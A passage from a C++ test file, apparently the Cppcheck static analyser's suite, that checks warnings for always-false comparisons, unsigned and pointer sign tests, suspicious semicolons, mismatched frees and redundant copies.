{\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 